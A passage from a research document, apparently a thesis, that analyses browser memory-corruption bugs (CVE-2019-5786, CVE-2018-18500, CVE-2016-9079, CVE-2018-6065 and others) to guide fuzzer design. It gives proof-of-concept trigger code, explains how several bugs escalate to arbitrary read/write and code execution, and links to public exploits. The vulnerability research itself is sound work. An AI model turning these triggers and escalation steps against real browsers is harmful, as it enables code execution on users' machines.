09: reader.onprogress = function(evt) {
10: force_gc(); // Make heap layout reliable and prevent out-of-memory crashes
11: let res = evt.target.result;
12: if (res.byteLength != f.size) { return; }
13: lastlast = last;
14: last = res;
15: }
16: reader.onloadend = function(evt) {
17:
last = 0, lastlast = 0;
18:
try {
19: // trigger the FREE
20: myWorker.postMessage([last], [last, lastlast]);
21: } catch(e) {
22: // The free was successful if an exception with this message happens
23: if (e.message.includes('ArrayBuffer at index 1 could not be transferred')) {
24: // lastlast is now a dangling pointer
25: } } }
26: reader.readAsArrayBuffer(f);
The root cause of the vulnerability can be found in the implementation of callback invocations
of a FileReader object. Lines 2, 3, 4, 8 and 26 create a FileReader object which reads from
a large in-memory string. The read operation is performed asynchronous and callbacks can
be configured which report the current progress or that loading finished. The onprogress
callback can access the current result buffer via evt.target.result, as shown in line 11.
Typically, the passed buffer is always different because the passed buffer is created via a
slice operation which creates a copy of the current buffer.
However, when all bytes were already read, the code just returns a smart pointer to the result
buffer. Sometimes it can occur that the onprogress callback gets invoked multiple times
when the reading already finished which means that the callback receives multiple times a
reference to the same buffer. One of these references can be used to neuter the associated
buffer object, which means that the buffer gets freed. Then, the second reference can be
used as a dangling pointer to access the freed memory.
References to the last two passed buffers are stored in the last and lastlast variables in lines
13 and 14. The array buffer of last is neutered in line 20 via a call to postMessage. This call
transfers the buffer to a JavaScript Worker which takes over the ownership. This leads to a
free call of the array buffer. After that, the lastlast variable can be used to still access the
buffer and therefore access freed memory.
The invocation of garbage collection in line 10 would not be required, however, it helps to
obtain a more reliable heap layout and to prevent out-of-memory errors. The above code
27
must be executed several times to trigger the bug because of a race condition. The
onprogress callback must be called multiple times after reading finished which just happens
occasionally.
The vulnerability was exploited in-the-wild and was discovered by Googles Threat Analysis
Group. Exodus Intelligence published a blog post 53 with further exploitation details. An
exploit is available at 54.
Generalization for variation analysis:
•
The code from line 6 can be used to trigger garbage collection.
•
A postMessage call, as shown in line 20, can be used to neuter array buffers. A fuzzer
should add this code at random locations to free an array buffer.
•
A fuzzer should save callback arguments within global variables and access them
later. It is important that arguments from different invocations are stored, as shown
with the last and lastlast variables.
•
A fuzzer must know that the onprogress callback argument evt has a target.result
property. This requires a comprehensive grammar definition.
Firefox bug 1510114, CVE-2018-18500 – Use-After-Free while parsing custom HTML
elements
01: // This PoC is simplified and cannot be started independently
02: <html><body>
03: <script>
04: var delay_xhr = new XMLHttpRequest();
05: delay_xhr.open('GET', '/delay.xml', false); // 3rd arg: async := false
06: class CustomImageElement extends HTMLImageElement {
07: constructor() {
08: super();
09: gc();
// Invoke garbage collection
10: location.replace("about:blank"); // Trigger abort of document loading
11: delay_xhr.send(null);
12: // variable >mHandles< is freed now
13: }
14: }
15: customElements.define('custom-img', CustomImageElement, { extends: "img" });
16: </script>
17: <img is=custom-img />
18: </body></html>
Custom elements support the possibility to create sub types of HTML elements. A new class
which extends an HTML element can be created with a custom constructor. When such
custom elements are used, the defined constructor gets invoked during HTML tree
construction. The HTML tree construction phase is implemented in C++ code which stores
a pointer to the parser in a local variable. The problem occurs when the custom constructors
performs an operation which frees the parser object. This can be done by aborting the
document load by setting the location to about:blank which drops a reference to parser as
53 https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/
54 https://github.com/exodusintel/CVE-2019-5786
28
shown in line 10. However, since other references are still pointing to the parser object, the
object is not immediately freed. The pointer stored in the local variable in the HTML tree
construction code is therefore not yet a dangling pointer. These other references are later
dropped during asynchronous tasks.
To trigger the vulnerability, the parser object must be freed before the custom constructor
returns. Since JavaScript code is in general not blocking, the asynchronous tasks would not
be executed before the return occurs and therefore the vulnerability would not be triggered
because there are still references to the parser object.
Synchronous XMLHTTPRequests are an exception and can block JavaScript code
execution. Performing such a request results in the processing of the event loop until the
request finishes and therefore in the execution of the asynchronous tasks which drop all
other references to the parser object. This is done in lines 5 and 11.
After aborting the document load, JavaScript code cannot be executed anymore. However,
further JavaScript execution is required to exploit the vulnerability. To solve this problem the
vulnerability can be loaded inside an iframe which means code can still be executed from
the main frame.
A detailed analysis of the vulnerability is available at 55. An exploit is available at 56.
Generalization for variation analysis:
•
The document load can be aborted by setting the current location to about:blank
which can trigger vulnerabilities. However, adding this code too often is
counterproductive because other generated code may not get executed. This
operation should therefore mainly be used inside iframed code.
•
Making a synchronous XMLHTTPRequests results in the processing of the event
loop and such code should therefore be added at random locations during fuzzing.
•
The fuzzer should be capable of generating custom HTML elements.
Firefox bug 1499861, CVE-2018-18492 – Use-After-Free in select element
01: div = document.createElement("div");
02: opt = document.createElement("option");
03: div.appendChild(opt);
04: div.addEventListener("DOMNodeRemoved", function () {
05: sel = 0;
06: FuzzingFunctions.garbageCollect();
07: FuzzingFunctions.cycleCollect();
08: FuzzingFunctions.garbageCollect();
09: FuzzingFunctions.cycleCollect();
10: });
11: sel = document.createElement("select");
12: sel.options[0] = opt;
The code creates a div and an option element and appends opt to div. Next, line 4 adds an
55 https://news.sophos.com/en-us/2019/04/18/protected-cve-2018-18500-heap-write-after-free-in-firefox-
analysis-and-exploitation/
56 https://github.com/sophoslabs/CVE-2018-18500
29
event listener which fires as soon as opt gets removed from div. Such a removal can be
triggered by creating a select element and setting its options to opt as done by line 12. This
means that opt must be removed from its parent which triggers the event listener from line
4. In the event listener the sel variable is set to zero which removes the last hold reference
to sel resulting in a free of the select element. To trigger garbage collection helper functions
are used in line 6 to 9. These helper functions can be enabled in Firefox by compiling a build
with the --enable-fuzzing flag. When the code from line 12 continues execution, after the
event listener executed, the sel element is already freed, resulting in a use-after-free
vulnerability.
Instead of the helper functions from line 6 to 9 the following code can be used:
new ArrayBuffer(0xfffffff);
alert();
The large array buffer results in memory pressure which triggers garbage collection and the
alert() call blocks the execution resulting in the processing of pending asynchronous tasks.
A more in-depth analysis of the vulnerability can be found at 57.
Generalization for variation analysis:
•
The fuzzer should make use of helper functions to trigger garbage collection and
other heap-related operations at random locations.
•
The alert function can be used as an alternative to the previously mentioned
synchronize XMLHttpRequest. However, it has similar drawbacks.
•
The fuzzer should focus on fuzzing code in event handlers.
•
Setting a variable to zero in an event handler, like done in line 5, to remove the last
hold reference, can result in use-after-free vulnerabilities.
Firefox bug 1321066, CVE-2016-9079 (Tor browser 0day) – Use-After-Free in SVG
animations
01: <body>
02: <button onclick="document.getElementById('containerA').pauseAnimations()">
03: Click to crash</button>
04: <svg id="containerA">
05: <animate id="ia" end="50s"></animate>
06: <animate begin="60s" end="ic.end"></animate>
07: </svg>
08: <svg>
09: <animate id="ic" end="ia.end"></animate>
10: </svg>
11: </body>
The code creates an animation with a start time after its end time which leads to a use-after-
free condition. Line 5 defines the ia animation with the end field set to 50 seconds. Line 6
defines a new animation with begin set to 60 seconds, but end is set to the end value from
the ic element. The ic element is defined in line 9 which has its end set to ia.end which is 50
57 https://www.zerodayinitiative.com/blog/2019/7/1/the-left-branch-less-travelled-a-story-of-a-mozilla-firefox-
use-after-free-vulnerability
30
seconds as per line 5. In line 6 an animation is therefore created which begins after 60
seconds, but which ends already after 50 seconds. When the end time is reached, the
associated object is freed, however, the start code still gets executed which leads to a use-
after-free vulnerability.
According to Forbes 58 the exploit was developed by Exodus Intelligence and leaked to the
public or was used by a customer of them. In 2013, the FBI used CVE-2013-1690 against
users of the freedom hosting hidden service from the Tor network to attack visitors of the
4pedo board, a child pornography website. The used payload shared similarities with the
payload from CVE-2016-9079 which lead to the suspicion that the exploit was used by the
FBI. An exploit for CVE-2016-9079 was sent via email 59 to an admin of obscured files, a
private file hosting service in the dark web. The target of the attack was the GiftBox website
which distributed child pornography 60.
Mozilla Firefox published in their blog the following statement: “[…] If this exploit was in fact
developed and deployed by a government agency, the fact that it has been published and
can now be used by anyone to attack Firefox users is a clear demonstration of how
supposedly limited government hacking can become a threat to the broader Web.” 61
Exploits for the vulnerability are available at 62 and at 63.
Generalization for variation analysis:
•
Finding similar vulnerabilities requires a deep understanding of all HTML and SVG
elements including their possible attribute values. For example, to find the shown
PoC, the fuzzer would need to know that the begin and the end values of an animate
element can be set to strings such as 50s. Moreover, that the value can reference
other elements by using the otherElement.end syntax.
•
The fuzzers ability to find such classic vulnerabilities in the render engine has a
strong correlation to the used grammar. Improving the grammar should therefore be
prioritized. However, improving a grammar is a time-consuming and error prone task.
58 https://www.forbes.com/sites/thomasbrewster/2016/12/02/exodus-intel-the-company-that-exposed-tor-for-
cops-child-porn-bust
59 https://bugzilla.mozilla.org/show_bug.cgi?id=1321066
60 https://www.forbes.com/sites/thomasbrewster/2016/12/02/exodus-intel-the-company-that-exposed-tor-for-
cops-child-porn-bust
61 https://blog.mozilla.org/security/2016/11/30/fixing-an-svg-animation-vulnerability/
62 https://www.exploit-db.com/exploits/41151
63 https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/CVE-2016-
9079_Firefox_50.0.1_DEP_ASLR_Bypass.html
31
4.2 Classic vulnerabilities in the JavaScript engine
The JavaScript engine has become one of the main attack targets in recent years. This has
several reasons:
•
It is a simple fuzzing target because it does not require a GUI and therefore achieves
high fuzzing speeds like several hundred executions per second. Concepts like a fork-
server or in-memory fuzzing can be applied which increases performance significantly.
•
The engine can be started as a standalone binary which means debugging is simple and
fast. Attaching a debugger to a full browser binary on the other hand can take several
minutes or even hours.
•
JavaScript is a complex language which results in a big attack surface and therefore in
a lot of vulnerabilities. Its implementation is especially complex because JavaScript is
loosely typed but it must achieve high execution speed together with low memory usage.
•
Vulnerabilities in the engine do not only affect browsers but also affect PDF readers
which means the user base, which can be attacked with an exploit, is even bigger.
•
Exploitation of JavaScript vulnerabilities is simpler because of the scripting possibility.
This especially facilitates in bypassing protections such as ASLR.
Because of these reasons, the following vulnerabilities in the document are related to
JavaScript engines. In this chapter classic vulnerabilities are analyzed. The later chapters
discuss JavaScript specific vulnerabilities.
4.2.1 Missing write-barrier for garbage collection
Chapter 4.1.3 described that use-after-free bugs are a common vulnerability class and that
the render engine uses smart pointers to prevent them.
Modern JavaScript engines on the other hand do not depend on reference counting and
instead implement a garbage collector. For example, Orinoco, the garbage collector
implementation of the v8 JavaScript engine, implements a mark-compact algorithm.
Such a garbage collector regularly scans the memory by starting at root objects and follows
all references stored in the objects. Every object in memory is assigned a color based on a
tri-color scheme. Initially, all objects are marked white. The color changes to grey when the
object was visited. After the memory references in them were followed, the color becomes
black. The algorithm ends as soon as just white and black objects are left. All black objects
are in-use and all white objects can be freed because they are not referenced by active
objects anymore. This phase is named the marking phase.
In a next step, the live objects are copied to another page. Orinoco splits memory into
different regions which are called generations. Memory is initially allocated in the young
generation which is further divided into the nursery and intermediate. Objects from the
nursery are moved to the intermediate young generation if they survive the first iteration and
32
objects from the intermediate young generation are moved to the old generation which
means that the object survived two iterations.
The nursery is often also referred to as from-space and the intermediate as to-space
because allocations are copied from the from-space to the to-space after the first iteration.
An iteration in this context means an internal call to the garbage collection function which
gets triggered when memory is under pressure.
Figure 2: Garbage collection in v8, source: 64
One may suspect that copying all live objects from one generation to another would generate
a lot of overhead. However, based on the generational hypothesis most allocations do not
survive the first iteration and must therefore not be copied 65.
The copy phase is called the young generation evacuation because objects are copied within
the young generation or to the old generation.
Since all alive objects are always copied to the next generation and not alive objects can be
freed, the full memory block of the young generation can be marked as free in a single step.
This means memory fragmentation does not occur in the young generation.
However, alive objects in the old generation cannot be copied to another location because
it is the last generation. If objects in it get freed, it can lead to holes and therefore to memory
fragmentation. To encounter this, a phase named old generation compaction is performed
which compacts the memory by moving the objects into the holes.
Sweeping is process where gaps in memory left by unreachable objects are added to a data
structure called the free-list. Sweeping is performed on pages in the old generation which
are not eligible for compaction. When the garbage collector finds such contiguous gaps, it
adds them to the appropriate free-list. When memory must be allocated in the old generation
in the future, a lookup can be performed in the free-list to find an available and fitting chunk
of memory.
64 https://v8.dev/blog/trash-talk
65 https://v8.dev/blog/trash-talk
33
In a last step all live objects must be updated to point to the new location of the moved
objects.
The described garbage collection implementation would in theory completely mitigate use-
after-free bugs. However, it would require a stop-the-world implementation which means that
the JavaScript execution must pause for a long time until the garbage collection finishes.
This would lead to frozen GUIs when websites are under memory pressure. Another problem
is that this implementation can just be executed on a single thread.
To solve these problems v8 employs several techniques like incremental marking, parallel
execution and concurrent execution. These speed improvements required proper
synchronization and missing synchronization primitives are the source of a variety of
exploitable bugs. One such synchronization primitive is a Dijkstra-style a write-barrier.
Consider for example incremental marking which means the marking phase is split into
smaller tasks which are interleaved in the main JavaScript execution thread. In such a case,
some objects would get marked and then the marking phase pauses, and JavaScript code
continues to execute. This JavaScript code could then modify already visited objects, which
were already marked as black, and update the reference stored in the object to point to
another object. Since the marking of the object was already performed, the garbage collector
would later not follow the new reference because the color of the object, which stores the
reference, was already black. In such a case the garbage collector would miss the reference
and would incorrectly free the second object which leads to a use-after-free vulnerability. To
prevent this, the v8 developers must use a write-barrier after code which writes to objects.
This write-barrier resets the color of the object and therefore tells the garbage collector to
revisit the object. Missing such a write-barrier directly leads to a use-after-free vulnerability.
Another problem can occur when the garbage collector cannot identify a value as a pointer.
Consider a garbage collected object which stores in a member variable a traditional data
structure from the standard library, such as a std::vector. When other garbage collected
objects are stored in this vector, the reference to them cannot be followed by the garbage
collector. The reason for this is that data structures from the standard library such as vectors
are stored on the default heap. The garbage collector therefore does not know the structure
of the object and cannot follow the references stored in the object which point back to
garbage collected objects. These objects will therefore not be marked and will be freed,
although they can still be referenced via the member variable. An example for this
vulnerability is CVE-2017-2491 and a writeup is available at 66.
More details can be found in the v8 developer blog:
•
https://v8.dev/blog/trash-talk
•
https://v8.dev/blog/concurrent-marking
•
https://v8.dev/blog/orinoco-parallel-scavenger
66 https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf
34
Examples:
Safari CVE-2018-4192 – Missing WriteBarrier in Array.prototype.reverse()
01: var someArray1 = Array(20008);
02: for (var i = 0; i < someArray1.length; i++) {
03: someArray1[i] = [];
04: }
05: for(var index = 0; index < 3; index++) {
06: someArray1.map(
07: async function(cval, c_index, c_array) {
08: c_array.reverse();
09: });
10: }
11: for (var i = 0; i < someArray1.length; i++) {
12: print(someArray1[i].toString());
// Accesses freed objects
13: }
The root cause of the vulnerability is a race condition in Riptide, the garbage collector of
JSC. In line 6 the map function is invoked on an array which executes the passed callback
function on every element of the array. The third argument to this callback is a pointer to the
array itself and is accessed via the c_array variable in the PoC. The reverse() function is
called on c_array to reverse the array within the callback.
The problem occurs when the call to reverse() happens between two incremental marking
phases. Consider that the array just gets partially marked in the first marking phase. For the
analysis assume that elements 0 to 10,004 were marked but marking of the full array did not
finish. After that, the main JavaScript execution continues and the reverse() function gets
invoked. Since the array gets reversed, the not marked elements will be stored at index 0 to
10,004 afterwards. When the second marking phase starts, marking will continue at index
10,005 and will mark all elements up to index 20,007. However, these elements were already
marked. Moreover, the garbage collector also forgets to mark the elements between index
0 and 10,004. These elements are therefore freed after garbage collection finishes, but are
still accessible via someArray, as demonstrated in line 12.
The vulnerability occurs because the code of the reverse() functions misses a write barrier.
This write-barrier would tell the garbage collector to start again at index 0 in the second
marking phase.
The vulnerability was found by RET2 via fuzzing for the Pwn2Own 2018 competition.
Exploitation details are available in the RET2 blog at 67 68. An exploit is available at 69.
Generalization for variation analysis:
•
A fuzzer should add a loop which accesses all elements of an array at the end of the
test case.
•
A fuzzer should create a large array and ensure that the tested code gets executed
multiple times to reliable trigger similar race conditions. The code structure of a large
67 https://blog.ret2.io/2018/06/13/pwn2own-2018-vulnerability-discovery/
68 http://blog.ret2.io/2018/06/19/pwn2own-2018-root-cause-analysis/
69 https://gist.github.com/itszn/5e6354ff7975e65e5867f3a660e23e05
35
array with the map function applied on it can be used during fuzzing because it fulfills
these requirements.
4.2.2 Integer overflows
Chapter 4.1.2 already discussed root causes of integer overflows. These vulnerabilities also
occur in JavaScript engines.
Examples:
Chromium issue 789393 (2017) – Integer overflow in PropertyArray
01: function* generator() {}
02: for (let i = 0; i < 1022; i++) { // set "NumberOfFields" of "generator" to 1022
03: generator.prototype['b' + i]; // Important
04: generator.prototype['b' + i] = 0x1234;
05: }
06: trigger_garbage_collection();
07: for (let i = 0; i < 1022; i++) { // A loop is not required for OOB access
08: generator.prototype['b' + i] = 0x1234; // OOB access
09: }
The first loop in line 2 adds 1,022 descriptors to the generator. A generator, which can be
created using the * syntax from line 1, is used because it has internally the unused properties
fields set to 2. After the loop there are therefore in total 1,022+2=1,024 properties assigned.
In the PropertyArray class the constant kLengthhFieldSize is set to 10 bits which allows a
maximum property length of 1,023 properties. If more properties are incorrectly added, the
stored length value overflows. In this case the stored length would wrap to zero because the
lowest 10 bits of the number 1,024 are zero. However, enough space for the 1,024 properties
was allocated, but the engine internally incorrectly assumes zero properties because the
length field is set to zero.
An OBB access is not directly possible because enough space was allocated. However, the
garbage collector incorrectly handles the data during relocation to a different generation.
To exploit the vulnerability (not shown in the above PoC), an additional array can be
allocated after the loop from line 7 to 9 finishes and before garbage collection is triggered.
Garbage collection must be triggered twice to ensure that the second array is stored in the
old space together with the memory assigned to the generator. This ensures that the second
array is stored adjacent in memory to the corrupted properties array. When the garbage
collector reads the incorrect property length of zero, it does not copy the property array.
Afterwards, the garbage collector copies the second array to the old space which means that
the second array now overlaps the properties. This means that the length of the second array
can be modified by writing to the property array. By adding a third array afterwards in
memory, which stores generic objects, the OOB access from the second array, which is
interpreter as double-array, can be used to interpret objects as double values and vice versa
which leads to full information leakage, arbitrary read and write and finally to full code
execution.
36
The vulnerability was reported 70 on 2017-11-29 by Google Project Zero and was fixed in
January 2018 without a release note. Pak and Wesie developed a 1-day exploit for this
vulnerability and released 71 it together with detailed slides during a Zer0Con 2018 talk in
March 2018.
Generalization for variation analysis:
•
Lines which seem unimportant from a logical perspective can have important side
effects because of implementation details. An example is the code from line 3 which
just accesses a property. One may suspect that this code can be optimized away,
but since the code is initially interpreted, it gets executed together with possible side
effects. A fuzzer must therefore also generate code samples which do not make
sense for JavaScript developers.
•
To trigger the bug, the number of loop iterations must exactly be 1,022 as shown in
lines 2 and 7. Most fuzzers just use the minimum and maximum values of various
datatypes. However, this issue demonstrates that fuzzing with all potencies of two is
important and that small values should be subtracted or added.
•
Although the second loop is not required, it makes sense to add it at the end of the
code or after garbage collection. The loop is used to access all properties to trigger
potential OOB accesses. During fuzzing it makes sense to add similar code at various
locations to check for potential OOB access.
•
The fuzzer should be able to create and test generator functions.
•
The fuzzer should trigger garbage collection at various locations. It should sometimes
also trigger garbage collection twice since long-lived objects can be allocated directly
in the old space.
Chromium issue 808192, CVE-2018-6065 – Integer overflow in object allocation size
01: const f = eval(`(function f(i) {
02: if (i == 0) {
03: class Derived extends Object {
04: constructor() {
05: super();
06: ${"this.a=1;".repeat(0x3fffe-8)}
07: }
08: }
09: return Derived;
10: }
11: class DerivedN extends f(i-1) {
12: constructor() {
13: super();
14: ${"this.a=1;".repeat(0x40000-8)}
15: }
16: }
17: return DerivedN;
18: })`);
19: let a = new (f(0x7ff))();
20: console.log(a);
70 https://bugs.chromium.org/p/chromium/issues/detail?id=789393
71 https://github.com/theori-io/zer0con2018_bpak
37
Line 19 instantiates a new JavaScript object. During the instantiation the required object size
is calculated. This calculation is flawed because an integer overflow can occur which leads
to the allocation of a too small object. The calculation is performed by summing up all
properties from the prototype chain. The PoC creates a prototype chain of 0x7ff DerivedN
objects, each having 0x40000-8 properties, and a Derived object with 0x3fffe-8 properties.
When the size of all these properties is summed up and the header size of the object is
added, an overflow occurs which leads to the allocation of a too small object.
A full exploit is available in an attachment 72 of the bug tracker.
Generalization for variation analysis:
•
A fuzzer should wrap code within calls to eval().
•
A fuzzer should create recursive functions but should include stopping conditions to
avoid hanging test cases.
•
A fuzzer should make use of the ${} syntax.
•
A fuzzer should add functions which return a class and instantiate objects by using
code like: new (function_name(args))()
•
A fuzzer should create derived classes and fuzz code in the constructor.
•
A fuzzer should split bound values into several pieces and use them together in a
test case. For example, in the above PoC the bound value was split into the values
0x3fffe-8, 0x40000-8 and 0x7ff.
Chromium issue 914736, CVE-2019-5790 – Overflow in language parser
01: let s = String.fromCharCode(0x4141).repeat(0x10000001) + "A";
02: s = "'" + s + "'";
03: eval(s);
The code generates a very long string in line 1 and wraps it inside single quotes. The problem
occurs when the JavaScript engines parses such an overlong quoted string which can be
triggered by calling eval() on the string.
A writeup of the vulnerability is available at 73.
Generalization for variation analysis:
•
This vulnerability was included because it demonstrates which bugs are hard to find
via fuzzing. “The bug seemed quite obvious by reading the code, but was probably
hard to spot by fuzzing because it requires around 20 GB of memory and quite some
time to trigger it on a typical desktop machine.” 74 A high execution speed is preferred
during fuzzing and it is therefore not attempted to find similar bugs.
72 https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=322992
73 https://labs.bluefrostsecurity.de/blog/2019/04/29/dont-follow-the-masses-bug-hunting-in-javascript-engines/
74 https://labs.bluefrostsecurity.de/blog/2019/04/29/dont-follow-the-masses-bug-hunting-in-javascript-engines/
38
4.2.3 Implementation bugs
In this chapter vulnerabilities are listed which contained logic flaws in the implementation
which resulted in memory corruptions.
Examples:
Chromium issue 664411, CVE-2016-9651 (Pwnfest 2016) – Private property re-assign
issue in Object.assign()
01: class short { }
// short becomes a function object
02: class longlonglong { } // longlonglong becomes a function object
03: let result = Object.assign(short, longlonglong);
04: console.log(result.toString()); // Reads data OOB
Objects in JavaScript have public and private properties. Public properties are available from
JavaScript whereas private properties are just internally used and should not be accessible.
Keys of public properties can be enumerated by using functions such as
Object.getOwnPropertyNames(obj)
and
Object.getOwnPropertySymbols(obj).
However, keys and values of private properties cannot be enumerated and therefore not be
modified because they should not be accessible from JavaScript code. The
Object.assign(target, source) code copies enumerable properties from the source
object to the target object and returns an object of the type of target. The vulnerability exists
because the function copies not only public, but also private properties. That means an
object can be created which has the private property of another object.
For example, when a new class is created, the function object has the private symbols
class_start_position_symbol and class_end_position_symbol which mark the indexes where
in-memory the function name starts and ends. If a function with a short and a function with
a long name are created and the private properties of the long function are copied to the
short function object, the class_end_position_symbol becomes corrupted for the short
function object. By reading this function name using the toString() function OOB read access
is possible.
The OOB read access can be turned to OOB write access by using the unescaped function.
The idea is that uninitialized memory is sprayed with %41%41%41… strings and free is
immediately called on them which means the OOB access reads this string. The unescaped
function initially calculates the length of the result buffer and calculates per %41 substring a
target length of one byte for the decoded character. However, during execution of the
unescaped function the code internally allocates memory which overwrites the %41%41%41…
string with data like someOtherData%41%41%41%41…. Now more bytes will be written than
allocated because a string like %41%41%41 resulted in the allocation of 3 bytes. However, the
string was overwritten with someOther which consumes 9 bytes.
39
A more detailed explanation of this exploitation technique together with the exploit can be
found at 75. The private class properties, which were used in this exploitation technique, are
nowadays removed in v8.
Generalization for variation analysis:
•
Object.assign() is an interesting function which may lead to other problems when it
gets invoked during callbacks. A fuzzer should therefore add such function calls more
frequently.
Firefox bug 1493900, CVE-2018-12386 (Hack2Win 2018) – Register allocation bug
01: // Generate objects with inline properties
02: for (var i = 0; i < 100; i++)
03: var o1 = { s: "foo", x: 13.37 }; // 2nd inline property is a double value
04: for(var i = 0; i < 100; i++)
05: var o2 = { s: "foo", y: {} };
// 2nd inline property is an object
06: function f(a, b) {
07: let p = b;
08: for( ; p.s < 0; p = p.s )
09: while (p === p) { }
10: for (var i = 0; i < 10000000; ++i) { }
11: // a points now incorrectly to b due to register misallocation
12: a.x = 3.54484805889626e−310; // Sets b.y to 0x414141414141
13: return a.x;
14: }
15: f(o1, o2);
16: f(o1, o2);
17: f(o1, o2);
18: o2.y; // Crashes (attempt to resolve 0x414141414141 as heap object pointer)
“The vulnerability occurs due to a special combination of control and data flow caused by
the loops and essentially leads to a scenario in which the wrong value is stored in a register.
This can be abused to cause a type-confusion by loading a value of type X into a register
that is expected to contain a value of type Y.“ [39]
In the above PoC lines 7 to 10 lead to an incorrect register allocation which means that
variable a points in line 12 incorrectly to b. Elements of objects are typically stored in
separate arrays or dictionaries. However, if they are often accessed, inline properties are
created which means that commonly accessed properties are stored within the object’s main
heap chunk. The for-loops from line 2 and 4 enforce the use of inlined properties and the x
and y properties are therefore stored each in their second inline property slot. While x is
stored as raw floating-point value, y is stored as a pointer to a heap object. When writing to
a.x in line 12, a floating-point value is written. Since it points at runtime to b, the heap pointer
at b.y is overwritten with the encoded floating-point value which is 0x414141414141.
Accessing the property in line 18 therefore leads to a crash.
75 https://github.com/secmob/pwnfest2016
40
The vulnerability was exploited during Hack2Win 2018. More details can be found in Groß
master thesis [39] and in a blog post at 76. A full exploit is available at 77 and at 78. The
vulnerability was found with the fuzzilli fuzzer together with two other vulnerabilities after
fuzzing on eight cores for approximately one year 79.
Generalization for variation analysis:
•
A fuzzer should generate objects with inline properties but with different internal data
types and pass these objects as arguments to a function. The function code can be
fuzzed to perform various operations. At the end a floating-point value should be
written to all floating-point properties. After that, the object properties should be
accessed to see if a crash occurs.
•
Line 9 on its own would result in an endless loop. However, since the loop condition
in line 8 is false, line 9 does not get executed. The fuzzer should add such endless
loops inside if-conditions or loops which never get executed. Similar code constructs
can be found by applying feedback-based fuzzing.
4.2.4 Type-Confusion bugs
Type-confusion bugs are often the result of logic or copy and paste errors. In JavaScript
engines they commonly arise because of comprehensive optimizations. JavaScript is a
loosely typed language, but for optimization reasons the engine stores internally precise type
information. For example, a JavaScript developer can create an array and store integers,
double values or objects in it, change the size of the array or just access an element at a
very high index and the developer would not notice that types internally change.
However, under the hood, the engine tracks the types of stored elements. If only integers
are stored, it creates internally a special array which just stores SMIs (small integers). When
a floating-point value gets assigned, the type changes to a more generic one to store
numbers as doubles. When an object or a string gets assigned, the most generic element
type is used where double values and objects are stored in separate heap objects and only
pointers to the heap objects are stored in the array. The engine can therefore store a double
value as a raw floating-point number using IEEE 754 encoding or as a pointer to a heap
object which stores the value.
The exact implementation depends on the browser. The above explanation corresponds to
the v8 engine which stores pointers to heap objects as tagged pointers. Since pointers in v8
are always word-aligned, the least significant bit can be ignored and can therefore be used
to mark pointers. Since SMI values just use 32-bits, they can be stored in the upper 32 bits
76 https://ssd-disclosure.com/archives/3765/ssd-advisory-firefox-javascript-type-confusion-rce
77 https://github.com/phoenhex/files/blob/master/exploits/hack2win2018-firefox-rce/exploit.html
78 https://github.com/niklasb/sploits/blob/master/firefox/rce-register-misalloc.js
79 https://youtu.be/OHjq9Y66yfc?t=1456
41
on 64-bit systems which leaves the lowest bits set to zero. With pointer compression 80 a
SMI value can just store 31-bit integers and the actual value is shifted one bit to the left to
set the least significant bit to zero. Pointer compression is discussed in more depth in chapter
4.5.3. Using this least significant bit, the engine can differentiate between SMIs and pointers.
This has the advantage that an integer must not be stored in a heap object and basic
arithmetic operations, such as incrementing a SMI, do not lead to a new heap allocation.
However, an IEEE 754 encoded double value can look similar to a pointer because the least
significant bit could be zero or one depending on the floating-point value. This means such
a value could be interpreted as a floating-point value or as a pointer, depending on the type
stored in fields such as the elements-kind field in the object’s main chunk. Confusing these
types results in strong primitives because pointers can be read as double values and double
values can be used to create pointers to fake in-memory objects. The incorrect interpretation
of these values is the source of many recent vulnerabilities. Other vulnerabilities are often
first turned to such an incorrect interpretation because it leads to powerful exploitation
primitives. This technique is used in nearly every JavaScript engine exploit released in the
last years.
Other browsers such as JSC or SpiderMonkey do not use tagged pointers. Instead, a
technique named NaN-boxing 81 is used. This technique takes advantages of the fact that
IEEE 754 defines multiple bit patterns to encode the NaN (not-a-number) value. A subset of
these bit patterns can be used to store SMIs and pointers.
Other internal types represent if all element slots in the array are in-use or if the array
contains holes in which case the type changes to a HOLEY version. Another difference can
occur in the in-memory representation of array elements. For example, if the array is stored
as a contiguous buffer or as a dictionary. If the array is sparse because only one very high
index is in-use, storing it contiguous would waste a lot of memory and a dictionary is therefore
a better data structure. A type-confusion between these two storage methods results in OOB
memory access because a dictionary uses less space. Interpreting a dictionary as
contiguous array therefore results in OOB access.
80 https://v8.dev/blog/pointer-compression
81 https://brionv.com/log/2018/05/17/javascript-engine-internals-nan-boxing/
42
Examples:
Chromium issue 992914 (2019) – Type-Confusion in v8 map migration
01: function trigger() {
02: const obj1 = { foo: 1.1 }; // create an object of type map1
03: // The .seal() method prevents new properties from being added to the object.
04: // The next line changes the map to map2 (which has elements_kind set to
05: // HOLEY_SEALED_ELEMENTS) and elements points to a FixedArray[]
06: Object.seal(obj1);
07:
08: const obj2 = { foo: 2.2 }; // create a second object of type map1
09: // The .preventExtensions() method prevents new properties from ever being
10: // added to an object (prevents future extensions to the object).
11: // The next line changes the map to map3 (which has elements_kind
12: // DICTIONARY_ELEMENTS) and elements points to a NumberDictionary[]
13: Object.preventExtensions(obj2);
14:
15: // The next line creates a new map map4 but the types keep the same
16: // (elements_kind is DICTIONARY_ELEMENTS; elements points to NumberDictionary[])
17: Object.seal(obj2);
18: // The back_pointer of map4 now points to map3 and map3 has a transition
19: // to map4 when .seal() is called
20:
21: // The next line creates an object of type map5 which is different to map1
22: // because the property foo is now an Object instead of a double.
23: const obj3 = { foo: Object };
24:
25: // The next line assigns obj2 a new map map6 which has elements_kind still
26: // set to DICTIONARY_ELEMENTS and elements still points to a NumberDictionary[]
27: // However, the map back pointer now points to map5 from obj3. That means a
28: // transition from map5 to map6 is added when .seal() is called
29: obj2.__proto__ = 0;
30:
31: // Finally, by accessing a not existing index of the sealed obj1, an
32: // IC (inline-cache) miss happens which leads to a map transition to map5 of
33: // obj3 and then to map6 of obj2. After that, the map of obj1 has elements_kind
34: // set to DICTIONARY_ELEMENTS, but the elements pointer was not updated
35: // and is still FixedArray[]. The elements_kind of DICTIONARY_ELEMENTS
36: // should always point to NumberDictionary[]. This leads to a type confusion and
37: // a fully controlled FixedArray[] can be interpreted as NumberDictionary[].
38: obj1[5] = 1;
39: }
40: trigger();
43
Figure 3: Map transition tree which leads to the vulnerability
“This is indeed complicated.” 82
